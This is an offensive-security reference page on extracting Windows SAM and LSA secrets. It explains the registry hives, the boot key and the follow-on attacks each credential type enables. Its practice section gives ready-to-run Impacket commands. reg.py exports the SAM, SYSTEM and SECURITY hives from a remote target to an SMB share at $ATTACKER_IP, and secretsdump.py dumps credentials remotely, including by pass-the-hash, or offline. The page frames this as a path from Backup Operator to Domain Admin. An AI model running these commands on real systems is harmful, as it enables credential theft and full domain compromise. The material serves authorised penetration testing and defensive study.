SAM & LSA secrets
Theory
In Windows environments, passwords are stored in a hashed format in registry hives like SAM (Security Account Manager) and SECURITY.
| Hive | Details | Format or credential material |
|---|---|---|
| SAM | stores local account credentials (referred to as SAM secrets) | LM or NT hashes |
| SECURITY | stores domain cached credentials (referred to as LSA secrets) | Plaintext passwords, LM or NT hashes, Kerberos keys (DES, AES), Domain Cached Credentials (DCC1 and DCC2), Security Questions (L$SQSA<SID>) |
| SYSTEM | contains enough info to decrypt SAM secrets and LSA secrets | N/A |
The SYSTEM hive holds no credentials of its own: it stores the boot key (also known as syskey), a 16-byte value hidden in the class names of the JD, Skew1, GBG and Data subkeys of HKLM\SYSTEM\CurrentControlSet\Control\Lsa. That boot key seeds the decryption of both SAM and LSA secrets, which is why offline dumping always requires the SYSTEM hive alongside the SAM and/or SECURITY hive.
SAM and LSA secrets can be dumped either locally or remotely from the mounted registry hives. These secrets can also be extracted offline from the exported hives. Once the secrets are extracted, they can be used for various attacks, depending on the credential format.
| Credential material | Subsequent attacks |
|---|---|
| Plaintext passwords | credential spraying, stuffing, shuffling or silver tickets |
| LM and NT hashes | credential spraying, stuffing, shuffling, cracking, pass-the-hash |
| Kerberos keys (RC4, i.e. == NT hash) | credential cracking, overpass-the-hash or silver tickets |
| Kerberos keys (DES, AES) | credential cracking, pass-the-key or silver tickets |
| Domain Cached Credentials (DCC1 or DCC2) | credential cracking |
Domain Cached Credentials (DCC1, a.k.a. mscash, pre-Vista; DCC2, a.k.a. mscash2, Vista and later) are one-way logon verifiers, not reusable secrets: they cannot be replayed with pass-the-hash and can only be cracked. DCC2 is especially slow to crack, being PBKDF2-HMAC-SHA1 over 10240 iterations.
Practice
Exfiltration
Impacket's reg.py (Python) script can also be used to do the same operation remotely for a UNIX-like machine. For instance, this can be used to easily escalate from a Backup Operator member to a Domain Admin by dumping a Domain Controller's secrets and use them for a DCSync.
The attacker can start an SMB server, and indicate an UNC path including his IP address so that the hives get exported directly to his server.
# start an SMB share
smbserver.py -smb2support "someshare" "./"
# save each hive manually
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@"$TARGET" save -keyName 'HKLM\SAM' -o '\\$ATTACKER_IP\someshare'
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@"$TARGET" save -keyName 'HKLM\SYSTEM' -o '\\$ATTACKER_IP\someshare'
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@"$TARGET" save -keyName 'HKLM\SECURITY' -o '\\$ATTACKER_IP\someshare'
# backup all SAM, SYSTEM and SECURITY hives at once
reg.py "$DOMAIN"/"$USER":"$PASSWORD"@"$TARGET" backup -o '\\$ATTACKER_IP\someshare'Secrets dump
Here are some examples and tools that can be used for local/remote/offline dumping.
Impacket's secretsdump (Python) can be used to dump SAM and LSA secrets, either remotely, or from local files. For remote dumping, several authentication methods can be used like pass-the-hash (LM/NTLM), or pass-the-ticket (Kerberos).
# Remote dumping of SAM & LSA secrets
secretsdump.py "$DOMAIN/$USER:$PASSWORD@$TARGET"
# Remote dumping of SAM & LSA secrets (pass-the-hash)
secretsdump.py -hashes "ffffffffffffffffffffffffffffffff:$NT_HASH" "$DOMAIN/$USER@$TARGET"
# Remote dumping of SAM & LSA secrets (pass-the-ticket)
secretsdump.py -k "$DOMAIN/$USER@$TARGET"
# Offline dumping of LSA secrets from exported hives
secretsdump.py -security '/path/to/security.save' -system '/path/to/system.save' LOCAL
# Offline dumping of SAM secrets from exported hives
secretsdump.py -sam '/path/to/sam.save' -system '/path/to/system.save' LOCAL
# Offline dumping of SAM & LSA secrets from exported hives
secretsdump.py -sam '/path/to/sam.save' -security '/path/to/security.save' -system '/path/to/system.save' LOCAL
# Offline dumping including password history (-history)
secretsdump.py -sam '/path/to/sam.save' -system '/path/to/system.save' -history LOCALSecretsdump (Impacket) and NetExec both extract security questions, if any, from the LSA. They are json formatted, UTF-16-LE encoded, and hex encoded on top of that.
Resources
http://moyix.blogspot.com/2008/02/syskey-and-sam.html
http://moyix.blogspot.com/2008/02/decrypting-lsa-secrets.html
https://medium.com/@benichmt1/secretsdump-demystified-bfd0f933dd9b
https://webstersprodigy.net/2014/02/03/mscash-hash-primer-for-pentesters/